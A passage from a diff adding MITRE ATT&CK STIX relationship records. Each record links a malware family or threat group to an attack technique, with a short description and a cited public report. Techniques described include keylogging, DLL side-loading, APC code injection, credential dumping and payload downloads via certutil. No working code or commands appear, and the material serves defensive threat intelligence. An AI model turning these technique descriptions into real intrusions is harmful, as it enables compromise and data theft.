"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) runs tests to determine the privilege level of the compromised user.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1e9769e-5172-4959-84d3-5a28796f86e1", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools to perform credential dumping.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.203Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) contains keylogging functionality to steal passwords.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf", + "external_references": [ + { + "source_name": "Alienvault Sykipot DOD Smart Cards", + "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If the victim is using PowerShell 3.0 or later, [POWERSOURCE](https://attack.mitre.org/software/S0145) writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in %PROGRAMDATA%\\Windows\\.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc838675-63af-45c5-9a30-081b5f5ac0d7", + "external_references": [ + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "relationship_type": "uses", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can compress data with Zip before sending it over C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d1ee6feb-91cb-4cac-ae57-e71358af29c2", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.766Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use Rundll32 to execute additional payloads.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f32e0356-d326-4dd7-9c5f-4c1c304d8862", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ELMER](https://attack.mitre.org/software/S0064) uses HTTP over port 443 for command and control.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4b71687-5aed-4cde-ba59-c37bb5231878", + "external_references": [ + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used a batch script to gather folder and file names from victim hosts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82e1ab81-89f9-4d96-87fd-69d04c6710f3", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.460Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) uses command-line interaction to search files and directories.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.438Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KARAE](https://attack.mitre.org/software/S0215) was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2445349c-0bdb-40a7-acca-03f3908b1f35", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can execute PowerShell scripts.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfdffca9-6418-486d-833f-84f3920fcb71", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic is Base64-encoded plaintext.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Sakula](https://attack.mitre.org/software/S0074) samples install themselves as services for persistence by calling WinExec with the net start argument.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used legitimate access granted to Managed Service Providers in order to access victims of interest.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--99a96ac0-c93d-488b-8439-04d97716682c", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2019-06-28T15:24:31.984Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list running processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.383Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) avoids analysis by encrypting all strings, internal files, configuration data.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e8f8dce-1921-4738-ae7f-30290a350cf2", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) adds a .lnk file to the Windows startup folder.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc572a1d-a44d-4588-b31d-1c54116d12f4", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.652Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) can overwrite Registry settings to reduce its visibility on the victim.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93addaa1-7baa-4fdd-ab92-3e58865a5ef2", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of injecting code into the APC queue of a created [Rundll32](https://attack.mitre.org/techniques/T1085) process as part of an \"Early Bird injection.\"", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02e3008d-1b2b-4824-b715-d6d8335cc4b2", + "external_references": [ + { + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" + } + ], + "modified": "2019-05-14T19:15:24.329Z", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1269d18-6cc9-45cc-9c99-06f765bea366", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "modified": "2019-03-22T20:15:19.461Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) obfuscated scripts that were used on victim machines.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0eb683e1-bd09-4572-866a-f178ce54f7b6", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.435Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) discovers all running services.", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67", + "external_references": [ + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) .dll that contains [BADNEWS](https://attack.mitre.org/software/S0128) is loaded and executed using DLL side-loading.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--174698f8-9349-4e52-9887-18089038195c", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.819Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has downloaded additional malware, including by using [certutil](https://attack.mitre.org/software/S0160).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74a15877-d310-4be1-813d-4ee9cbd603b7", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.611Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is controlled via commands that are appended to image files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe", + "external_references": [ + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used DLL side-loading, including by using legitimate Kaspersky antivirus variants in which the DLL acts as a stub loader that loads and executes the shell code.", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a93ea80-d0f6-4b81-887d-8911f7573245", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "modified": "2019-07-14T21:15:54.977Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks to see if anti-virus, anti-spyware, or firewall products are installed in the victim\u2019s environment.", + "type": "relationship", + "created": "2019-01-29T17:59:44.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19f93e6a-a481-4f72-856a-879742a654e4", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.048Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module for capturing keystrokes per process including window titles.", + "type": "relationship", + "created": "2019-01-29T18:17:59.273Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38f209df-bb69-4971-bbd8-db5a54bbf217", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.816Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + 